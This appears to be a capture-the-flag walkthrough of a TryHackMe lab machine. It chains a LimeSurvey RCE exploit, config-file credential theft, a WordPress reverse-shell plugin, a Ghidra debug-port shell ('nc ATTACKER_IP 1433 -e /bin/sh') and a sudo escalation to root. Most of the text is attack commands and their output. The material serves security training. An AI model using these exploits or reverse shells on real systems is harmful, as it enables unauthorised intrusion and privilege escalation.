nmap -p- --min-rate 100 --max-retries 2 -Pn 10.10.10.10 -v
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
443/tcp open https
18002/tcp open unknown
39493/tcp open unknown
46403/tcp open unknown
nmap -A 10.10.10.10 -p21,80,443,18002,39493,46403 -T4
PORT STATE SERVICE VERSION
21/tcp open ftp?
| fingerprint-strings:
| 220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
| Please login with USER and PASS.
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: LimeSurvey
|_http-generator: LimeSurvey http://www.limesurvey.org
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Ghizer – Just another WordPress site
|_http-generator: WordPress 5.4.2
18002/tcp open java-rmi Java RMI
39493/tcp open java-rmi Java RMI
46403/tcp open tcpwrapped
Key Findings:
nikto -h http://10.10.10.10/
+ Server: Apache/2.4.18 (Ubuntu)
+ /tests/: Directory indexing found.
+ /tmp/: This might be interesting.
+ /docs/: Directory indexing found.
+ /composer.json: PHP Composer configuration file found.
+ /.gitignore: .gitignore file found.
+ /README.md: Readme Found.
searchsploit limesurvey
LimeSurvey (PHPSurveyor 1.91+ stable) - Blind SQL Injection
LimeSurvey 5.2.4 - Remote Code Execution (RCE) (Authenticated)
LimeSurvey < 3.16 - Remote Code Execution
I found the default credentials for LimeSurvey on GitHub: admin:password. Decided to try the RCE exploit for versions below 3.16.
The exploit requires Python 2, which wasn't on my system. Here's how I set it up:
# Install Python 2
sudo apt install python2
# Install pip for Python 2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
sudo python2 get-pip.py
# Install requests module
sudo pip2 install requests
python2 46634.py http://10.10.10.10 admin password
[*] Logging in to LimeSurvey...
[*] Creating a new Survey...
[+] SurveyID: 757548
[*] Uploading a malicious PHAR...
[*] Sending the Payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data
Successfully obtained a shell as www-data.
The first THM question asked for database credentials. I searched for the LimeSurvey configuration file:
$ find / -name "config.php" 2>/dev/null
/var/www/html/limesurvey/application/config/config.php
$ cat /var/www/html/limesurvey/application/config/config.php
'username' => 'Anny',
'password' => 'P4$W0RD!!#S3CUr3!',
'charset' => 'utf8mb4',
'tablePrefix' => 'lime_',
Found credentials for user Anny.
On port 443, I found a WordPress site. Running WPScan with TLS verification disabled:
sudo wpscan --url https://10.10.10.10 -e --api-token TOKEN --disable-tls-checks
[+] URL: https://10.10.10.10/
[i] User(s) Identified:
[+] Anny
| Found By: Author Posts - Display Name
[+] anny
| Found By: Author Id Brute Forcing

Since I had Anny's password from the LimeSurvey config, I logged into WordPress and uploaded a malicious plugin.
I created a simple plugin template with a PHP reverse shell:
<?php
/*
Plugin Name: RCE Plugin
Description: Reverse shell plugin
Version: 1.0
*/
set_time_limit(0);
$ip = 'ATTACKER_IP';
$port = 1234;
// ... reverse shell code ...
?>
Compressed it to a ZIP file and uploaded through the WordPress plugin installer.


This was the trickiest part. Port 18002 was running a Java RMI service - specifically Ghidra's debug port.
Reference: Ghidra RCE Debug Mode Blog
Started a netcat listener on port 1433, then used the Java Debugger (jdb) to execute commands:
# Connect to the debug port
jdb -attach 127.0.0.1:18001
# Set a breakpoint
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
# Wait for breakpoint to hit, then execute reverse shell
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1"
Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec("nc ATTACKER_IP 1433 -e /bin/sh")
new java.lang.Runtime().exec(...) = "Process[pid=22099, exitValue="not exited"]"
nc -lvnp 1433
listening on [any] 1433 ...
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 38284
whoami
veronica
cat user.txt
THM{REDACTED}
sudo -l
User veronica may run the following commands on ubuntu:
(ALL : ALL) ALL
(root : root) NOPASSWD: /usr/bin/python3.5 /home/veronica/base.py
The user can run a Python script as root without a password. Since I have write access to the home directory, I can overwrite base.py:
echo "import pty;pty.spawn('/bin/sh')" > base.py
sudo /usr/bin/python3.5 /home/veronica/base.py
# whoami
root
# cat /root/root.txt
THM{REDACTED}
| Step | Technique | Result |
|---|---|---|
| 1 | LimeSurvey RCE | Shell as www-data |
| 2 | Config file enumeration | Anny's credentials |
| 3 | WordPress plugin upload | Shell as www-data |
| 4 | Ghidra debug port (jdb) | Shell as veronica |
| 5 | Sudo misconfiguration | Root shell |